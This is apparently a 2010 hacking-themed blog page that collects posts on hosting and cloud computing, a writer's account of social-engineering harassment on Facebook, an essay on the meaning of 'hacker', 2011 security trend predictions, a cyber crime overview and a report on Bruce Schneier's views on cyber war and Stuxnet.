It is a physical machine, usually allocated on a fully equipped data center and is totally dedicated to one customer who requires high reliability and high performance hardware ( processing, memory , etc.)… If the client needs more resources, you must purchase more hardware and manually install or exchange server. Its main advantage is the high performance and flexibility and its disadvantage is the high price and inability to upgrade / downgrade immediately. This is one of the best flexible solution than shared web hosting, as because the owner gets a total control over the hosting environment and every aspects of the dedicated hosting, which includes the selection of operating system, server hardware, etc… Some web hosting providers may provide the server administration for free, but usually, the client has to manage the server administration and management tasks.

Cloud Server Hosting (Cloud Computing)

Already Cloud Server is a fractionation of a number of resources available to multiple servers and storage arrays. Through an intelligent architecture, you can allocate these resources allows scalability without losing performance. Besides the economy and flexibility, there are numerous advantages to this technology.

Virtual Private Servers (VPS)

It is the fractionation of resources from one physical server, this fractionation being allocated to a single client. VPS is an ideal choice for businesses that requires same flexibility, reliability, security, root access, stability, etc… at much affordable rates that a dedicated server offers. In this technology there is no guarantee of processing and in case of hardware failures, client applications that depend on it will also fail, as there is integration servers like the Cloud.

We simplify the concepts so that everyone can understand, of course there are many other details, but overall this is it!

How Cloud Computing Can Be A Better Way | How is Cloud Computing Different than Traditional Applications?

In order for traditional applications to work properly, they require a data center with power, an office, cooling, servers, networks, bandwidth and storage. Even once you’ve met all those requirements, you need a professional to install them, configure them and make sure they’re running as they should. As much time, effort and money that goes into these programs by large businesses, you can only imagine the headache they pose for small businesses or individuals.

Cloud computing will help you run your business better and more efficiently for many reasons. Unlike many traditional business apps, applications that are cloud based can be up and running in a couple of days. Let’s face it – for your business to be efficient, you can’t have a lot of downtime. Cloud computing will also save you money because you don’t have to pay tons of money in employee wages to run your applications as well as many products to keep them running and updated. Any performance or security enhancements and upgrades your cloud based programs need, they’ll get automatically.

Another way you’ll save with cloud computing is by not having to constantly buy software and servers. They don’t take up as much of your IT resources as traditional applications.

Cloud Computing Market Will Reach $16.7 Billion by 2013

As more and more organizations starting to transition their data into the cloud and tap into web-based applications, the global cloud computing market is continuing to grow at high speed.Analyst firm 451 Market Monitor has predicted that it expects the cloud computing marketplace to reach $16.7 billion in revenue by 2013.

According to its report, the large and well-established software-as-a-service (SaaS (News - Alert)) category, cloud computing will grow from revenue of $8.7bn in 2010 to $16.7bn in 2013, registering a compound annual growth rate (CAGR) of 24 percent.

The research firm believes that the core cloud computing market will grow at much more rapid pace as the cloud increasingly becomes a mainstream IT strategy embraced by corporate enterprises and government agencies.

Excluding SaaS revenue, cloud-delivered platform and infrastructure services will grow from $964m in revenue in 2010 to $3.9bn 2013 - a CAGR of 60% - the report said.

The core market includes platform-as-a-service (PaaS) and infrastructure-as-a-service (IaaS) offerings, as well as the cloud-delivered software used to build and manage a cloud environment, which The 451 Group (News - Alert) calls 'software infrastructure as a service' (SIaaS).

Cloud-based storage will play a starring role in cloud growth, accounting for nearly 40 percent of the core cloud pie in 2010. "We view storage as the most fertile sector, and predict that cloud storage will experience the strongest growth in the cloud platforms segment," the report says.

In June, Gartner said worldwide cloud computing services market is poised for strong growth and its revenue might reach USD 148.8 billion by 2014.

Last month, another market analyst firm Renub Research had predicted that global cloud computing market might cross $25 billion by the end of 2013.

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Monday, November 15, 2010

Criminals on Facebook Friend List: By Vaidehi Sachin AKA Cat Techie, Author of Book Cyber Terror


Criminals on Facebook Friend List: By Vaidehi Sachin AKA Cat Techie, Author of Book Cyber Terror


Dear friends I never thought my book ‘Cyber Terror’ would ever have this kind of investigative story in it. One Pakistani Hacker (Mastermind) with multiple identities, one video upload, a few negligible activities, one cell phone number and one target the other side face book admin, three countries intelligence, every crime has traces and every Mastermind has one bad day. Nothing is beyond Law, The whole story started on 16th October 2pm, I am a damn fool, whose faith was betrayed and would have never regained on a journey across the hacker’s world if few hackers and my co writer, few face book friends, one journalist and some agencies wouldn’t have helped me tracing them.. Being well educated, deeply spiritual, and by the evil of social networking what I have gone through these days was horrible. My enthusiasm turns to disillusionment: my life drained out of me, faith, betrayals, bad words, violence and pretentions and wearied insecurity of a hacker, who has in-depth knowledge and potentials of web world and cyber crime. Man with tremendous brains and meager earnings, wanted to do big landed frustrated doing crime, his exploits, his coding, his way of hacking and over and above the skills of social engineering he uses are undoubtedly amazing. He has his group of small time hackers.

It’s been a long struggle. Why he came my way, how he made perfect strategy to harass me? His Kashmir links, his probes in my personal life. A terrorist who is heartless? Made me scapegoat, Social networking is an invention that has the Internet still at the edge of its seat due to its popularity with people. This is mostly because it really is for the people. Bringing every kind of social group together in one place and letting them interact is really a big thing indeed. Everything about it lies on the advantages and disadvantages of social networking and what it can do for you or what it takes from you never know. Definitely, it's cheaper to use online social networking for both personal and business use because most of it is usually free. While personal use is rather simple for anyone, the business functions are underestimated by many. In a social networking site, you can scout out potential customers and target markets with just a few clicks and keystrokes, adding a boost to your usual advertisements and promotional strategies. It lets you learn about their likes and dislikes, which is tremendous. If you want to fine tune your business, then this is the way to go, whether on a budget or not.

You definitely can gain so many things, earlier for an investigative journalist like me has to make tremendous efforts to work on story but now internet has given us a new platform, this builds confidence if you can connect to them on both a personal and professional level. Despite having to do a bit of work, it definitely pays off as you can be tapped for an offer if someone catches wind of your products or services. As long as you don't pursue them too aggressively, you will do well here.

You are friends with people who have other friends, and so on. There is potential in such a common situation. By using a social networking site, you can do what you can and get connected with these people to form a web of connections that can give you leverage if you play your cards right. As long as you give as well as you receive, then they will most likely stick with you. These connections are definitely valuable in the long run. That definitely sounds enticing. However, what about the disadvantages though? You are putting out information about your name, location, age, gender, and many other types of information that you may not want to let others know. Most people would say be careful, but no one can be certain at any given time. As long as people can know who you exactly are, then some can find ways to do you in. There is a potential for failure of security in any context. While many sites apply certain measures to keep any of these cases of harassment, cyber-stalking, online scams, and identity theft to an absolute minimum, you still may never know. If this is not your kind of thing then it would just be a waste of time for you. The key to social networking is that it is supposed to be fun, whether you are just doing it for kicks or clicking around for certain purposes. That should be reasonable enough for anyone, but there are those people who don't see the point. For them, it can be a disadvantage. Now there is something to really think about. Nothing is without a blemish, but those of this type of networking shouldn't really be that much of a concern regarding your safety. As long as you go along without making big mistakes, then it is all good.

One man with multiple identities, few fellow hackers, so many ids, and one pretends to be dumb and other sound IT and cyber security expert, every one plays perfect role and drags the target to that particular window..Yes they are player..Great player.. Great social engineering, Each move was calculative like chess.. One makers comments at his wall and other replies to it like fool, one again comments like a ruler of security system and then one of his own fake id comments at it like a dumb hacker, all this is done by one person and fools like us fall prey to these tricks and land in that wall commenting at their statements and this makes you adding them as friends. These few names are part of every hacker’s friend list, there are another type of people in this community as yesterday I posted on a few walls That “DON’T BELIEVE IN RUMORS- LAST NIGHT WHEN I WAS CHATTING WITH MY LITTLE HACKER FRIEND, HE SURPRISED ME SAYING, “DIDI DON’T CHAT WITH EVERY PAKISTAN HACKER BECAUSE SOME OF THEM ARE HERE ON BEHALF OF FIA”. AND HE WAS ASKED TO SPREAD THAT NEWS IN COMMUNITY. No intelligence agency has time or concern to vigil your activities. Believe me you all are victims of Someone’s social engineering skills.

The poor little hacker was harassed by that hacker who used him to spread the rumors and threatened to an extent that he disabled his account itself, I never mentioned any name but the culprit reached to his target, Poor little boy tried doing well any landed as victim of circumstances and deactivates his account.

See how crime and criminal make their way in your life quite unknowingly. To site another example, you all must be aware of Unix Root a good source of news portal which gained mileage popularity in no time. This portal has given good jolt to existing news blogs. The girl gave good show maintaining this portal, but some so called custodians of news blogs tried their level best putting pressure on her, URDU Hackers, some face book groups, some face book friends every one pounced at her. Reason no one knows. I don’t think this news portal has ever harmed anyone.

Last night I was not in good state of mind because I lost my grandmother who was the only family member left with me. But the night was much darker, these so called groups of hackers were tried penetrating me with their modus operand, initially I pleaded, I cried, I even begged to stop because they were very close to my heart, I couldn’t take that emotional jolt. It took time for me to digest that my friend is dealing with me with multiple ids just to cripple me. He randomly took me for granted. Some of my friends have witnessed amazing thing on face book window. I salute my Indian hackers, at least they are not into these kinds of cheap traits unfortunately they were also used as the gate ways to these people’s activities. Code breaker, dark look, and entire indishell group has focus, they know why and what are they doing. I am not endorsing their misdeeds but yes whatever they are doing at least doing with some ethics. This group will always remain in good books of any Indian. There are few very good Pakistani hackers, their behaviors, conduct, their vision is clean and they are the only few examples of Pak-hacking sect or community.

My dear friends I don’t know why, who and where is the next victim but they are very much active, and they are none other than your face book friends. I can say be careful. Record each suspicious activity, I had to record it because I am writing book and as you all know we are filming the same. Don’t forget to read how I traced them, how crime leaves traces over the period of time. What is needed is just patience and determination to clutch the culprit.

Now you must be having big question.. what was the intention of that hacker to harrasse me? why are they not nabbed? Why I have not disclosed their names?

Only thing I can say wait and watch…khel abhi
baki hai mere dost...

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

We will investigate, track down, and prosecute cyber hackers


Post by- Nasruminallah Zeeshan

US Attorney John McKay is quoted as: "Let there be no mistake about it, cyber hacking is a crime. It harms persons, it harms individuals, it harms businesses. We will investigate, track down, and prosecute cyber hackers."

Whenever the word 'Hacking' or 'Hacker' comes to our mind, the picture or the image which is created is that of an intelligent being that is criminal by nature, which attacks other computer systems, d...amages it, break codes and passwords send viruses etc. Their mindsets are as if the 'hackers' are the computer criminals. They have a very wrong notion in this regard and have a completely negative attitude and utter dislike for the 'Hackers'.

In this regard, the media has wrongly associated the computer criminals as 'Hackers'. The media has played a major role and has its hands behind this creation of negative connotation of the word 'hacker'. General public may spread rumors but it is hard to believe, someone speaking about completely new term, which is also a totally new concept to him.But the fact is that the terms 'Hacker' and so called 'Computer Criminal' are absolutely two different terms and are not linked with each other in any respect. They speak what they read and listen from others. For this, whenever any cyber crime occurred, by unauthorised use of other computer systems, the news published and delivered in public was by the use of the term 'hacking'.

So we can say that it is because of media why people have hatred or negative feeling for the 'hackers'. Actually, 'Hackers' are very intelligent people who use their skill in a constructive and positive manner. They help the government to protect national documents of strategic importance, help organisations to protect documents and company secrets, and even sometimes help justice to meet its end by extracting out electronic evidence. Rather, these are people who help to keep computer criminals on the run. First I would like to explain the term 'Hacker', because there is a great misconception regarding it. I made a field study by a questionnaire method taking few samples amongst the youths across the country. In that study, for the question regarding explaining the term 'hacking', most of the samples were just beating around the bush. So as to eliminate the fallacies in its connotation, I would like to begin with its meaning. Hackers are generally computer programmers who maintain network systems, secure documents, etc. So anyone who has a good hand on computer programming can be termed as 'hacker' in general.

Traditionally, hackers were computer geeks who knew almost everything about computers and were widely respected for their wide array of knowledge. But over the years, the reputation of hackers has been steadily going down. Today, they are feared by most people and are looked upon as icons representing the underground community of our population. I am sure my dear friend US Attorney John McKay is not aware of the term Hacking and Crime. Tell them to evict all assigned hackers by them working under their selves to eye on Israil, Pakistan and Indian Infrastructure. Hacking by hacker with intention to harms persons, it harms individuals, it harms businesses is minor loss compare to the level of hacking they encourage in the corridors of power..The about statements is nothing but a rut..And one should give damn to it..

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Saturday, November 13, 2010

Top 10 Security trends for 2011



Man in the browser (MITB) attacks are a new threat which consumers will face and the hacking industry is widely adopting, especially as many security products are not mature enough yet to deal with this problem.

File security. With Sharepoint being the fastest growing product in Microsoft history and data growing at a 60% annual rate, file security will become the top security issue. With PCI DSS being expanded to refer not only to databases and web apps but also to files, organisations will need to carefully consider how they protect their files.

Smartphones will be the new target in 2011. Hackers are using mobile devices (smartphones and tablets) as a new attack platform. With a number of applications on mobile devices (CRM, Salesforce, Access to work e-mails), these will become more susceptible to attack.

Hackers and security side-by-side in the cloud. As organisations' IT infrastructure moves to the cloud, so will their security controls. However these services will also become hot targets for hackers, with the popular ones being the most data-rich, the security on these services will need to be tightened immensely.

Insider threat. With more job losses set for 2011, there will be more disgruntled employees than ever. Employees are more likely to want to take information to help them with new jobs or as an act of revenge to pass on to competitors.

Social networks have started to blur the notions of privacy and security. 2011 will bring even more confusion when it comes to security and the trust people put in social networks.

Convergence of regulations over countries. Convergence of regulations amongst the OECD countries will lead to standardising laws on data security and privacy.

Security is becoming part of the business process. With the recent acquisitions of McAfee by Intel and Fortify by HP, suppliers are gaining an understanding of the need to apply security throughout the complete process of building a system. Today, cybersecurity can't be separated from business operations. Security teams need to become business process experts to keep the bad guys disarmed while keeping the good guys productive.

Hackers are feeling the heat. Proactive security seems to be the new approach for most security practitioners and due to this more hackers will get caught. However, due to the industrialisation of hacking, hackers will raise their professional bar by "buying" other smaller groups or merging, leaving the more sophisticated hackers in business.

Hacktivism meets industrialisation. Hacktivism as we know it has been very targeted. However, hacktivists are learning from the success of industrialised hackers and will soon follow in their footsteps. The attacks will transition from restricted targets to a wide range of targets.

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Cyber Crime: Things You should know



The use of computers and the internet has expanded exponentially over the years. Along with this increased use of the World Wide Web comes a surge of crimes that are specific to the cyber world and very detrimental to a society that relies on these computers. Everyone who uses the internet is a potential victim. In the enforcement of these criminal offenses, it is imperative to incarcerate the small percentage who are criminal users and to protect the majority of users who are innocent. There is a broad spectrum of computer and internet crimes and they are often covered by both state and federal laws.

Computer offences can be defined as a crime in which a computer, or a network of computers, are used in the commission of the crime. If an individual takes advantage of the internet in the commission of a crime, this is sometimes called a netcrime.

The direct victim of a computer crime can either be the computer, or network, itself. These crimes can victimize something independent of the network such as a consumer by simply using a computer during the crime.

Crimes that target computers specifically include things such as the implementation of computer viruses. Another type of this crime is sometimes referred to as a denial-of-service attack which is aimed at bringing down a particular network. The introduction of malware to a network is also a direct attack on a computer. Examples of malware are trojan horses and spyware. These are forms of unwanted software which infect a computer and are also referred to as a computer contaminant.
Cyber terrorism is a form of this type of crime in which the perpetrator attempts to bring down a large scale computer network to interrupt its users and create panic.

Examples of computer crimes with independent victims are cyberstalking, identity theft, and phishing.

Some other common examples that are often publicized in the media are the distribution of child pornography and hate propaganda. Cyber terrorism and those distributing hate propaganda are directly linked because they are often perpetrated by the same organization or organizations with similar goals.

With such a variety of offenses related to the cyber world, many worry that they will be subject to prosecution if they wander into an inappropriate website or inadvertently spread malware. The truth of the matter is that in the majority of state and federal statutes regulating computer crimes, the laws are written specifically to target those who indicate that they "knowingly" and/or "willingly" perpetrated one of these offenses.

The agents who investigate these crimes, along with the prosecutor, carry the burden of showing that a person had the intent to commit the computer crime. A knowledgeable criminal lawyer can provide the expertise to defend those who may find themselves prosecuted for something that they did not have the intent to commit.

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Thursday, November 11, 2010

SPECIAL REPORT: Bruce Schneier on the future of IT security



A security guru has debunked cyber war and cyber terrorism myths.

The threats of cyber war and cyber terrorism have been grossly exaggerated and are hindering a real understanding of risks on the internet, one of the world’s leading information security experts has said. Bruce Schneier, the author and security technologist who is also chief security technology officer with BT, was speaking in Dublin yesterday at an event held by the Irish Institute for European Affairs (IIEA).

Schneier referred to the denial of service attack in Latvia in 2007, which brought down several government services for a time, and said it was most likely the first such cyber war attack against a state. However, he pointed out that just one person was convicted – an ethnic Russian living in Latvia who was apparently angered by the authorities’ decision to remove some statues dating from the Communist era.

“It could well be that the first cyber war was perpetuated by an annoyed, disaffected youth,” said Schneier. From a technical point of view, the incident was no different to a regular cyber crime tactic. “Estonia was a regular denial of service attack – it just happened to be against a country instead of Amazon.”

Similar attacks took place against systems in Georgia the following year, just before Russian forces invaded, but Schneier warned against opting for obvious conclusions. “We don’t know if it was government sanctioned or just activists playing politics,” he said.

Even technology security experts can’t agree on what constitutes cyber war, he said, “One of the problems we have is there is no good definition of what war looks like in cyber space … we don’t know when it starts or what a war looks like when it’s over.” Schneier posited that it’s a rhetorical war, like the war on crime or the war on terror, and remarked on the irony that the term is quickly applied to situations where no war exists, and not where it does. “It’s dangerous to apply the term war without knowing what’s going on.”

Schneier was similarly sceptical about the word cyber terrorism, calling it a media myth. Attacking the Stock Exchange or on a mobile phone network does not put people’s lives at risk and would not spread mass panic that a real terrorist attack would, he said. “I don’t like the term terrorism applied in places where it doesn’t belong.”

“There’s a lot of politics in cyber war, and this is where we have to watch language,” he added. “Using the war metaphor reinforces the notion that we are helpless. It’s immediately evocative. If I say ‘cyber war’ to a politician, he’ll get it. The message will be wrong, but he’ll get it.”

The Stuxnet worm
Schneier turned his attention to the Stuxnet worm, the subject of much security industry speculation since its discovery earlier this year. A combination of multiple threats, it is malicious and designed to attack a certain type of industrial control system, which led to speculation that it may have been targeting a power plant or nuclear facility in Iran.

Experts estimate that several years went into writing the code and it attacks previously unknown vulnerabilities. “We do know that Stuxnet is not a criminal worm because criminal worms try to steal money,” said Schneier. “The people who designed this knew what they were doing.” However, he said for all Stuxnet’s detailed design, it would probably do nothing. “Is this an act of war? If indeed the result was sabotage of a nuclear power plant, in the real world that would probably be an act of war, but we don’t know who wrote it,” said Schneier.

Absent a motive and identity, it’s hard to police cyber attacks under any kind of legal framework, he added. “The two things we don’t know are who’s attacking and why.” Discovering the real origin of attacks is difficult, which leaves the issue of reprisal completely open to question, said Schneier. “Cyber attacks don’t come with a return address. If a group wants to frame Russia (for an attack), this isn’t hard. You never know when your trace ends. I can trace attacks back to computers, but the link from computer to chair is very difficult.”

Cyber war treaties
The fact the US has a cyber command is a good idea and Schneier encouraged more debate around the issue. “Now is the time to think of cyber war treaties. The last thing we want is a cyber war arms race,” he said. While he claimed not to have answers for all the questions, he said they were worth asking in the context of a broad discussion on the subject. A cyber war treaty might include agreements that no civilians are to be targeted in any action between rival states. “Is it OK to create official Trojans and keep them in your back pocket until there’s a cyber war? It’s like stockpiling weapons,” he added.

Similarly, Schneier welcomed the kind of cyber war incident reponse test conducted this week by the EU. “It’s a good idea. The US does this all the time. There’s nothing bad in practising, simulating and training.”

Discussing these issues without resorting to hype makes sense because they will become increasingly relevant, said Schneier. “As more of our lives, economy and infrastructure move into cyber space, cyber space becomes a more attractive target. While the hype doesn’t serve us well, we should start talking about these things, we should start knowing what cyber war and cyber peace is so we can have less of one and more of the other.”

At the same time as the recent domestic unrest in Greece, some hacking was spotted in that country. The nature of the web means activism is amplified, even if it is only carried out by one person. Schneier likened it to the assassination of Archduke Ferdinand – the act of a single individual was the catalyst that pushed Europe into the First World War. “Cyberspace is a place where a disaffected person can magnify their message,” he said.

“I think the real threat is cyber crime and that is what we should be concerned about,” he said, calling on all nation states to be prepared for cyber attacks, whatever form they may take. “Every country needs some kind of CERT (computer emergency response team), and some kind of police investigative powers.”

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...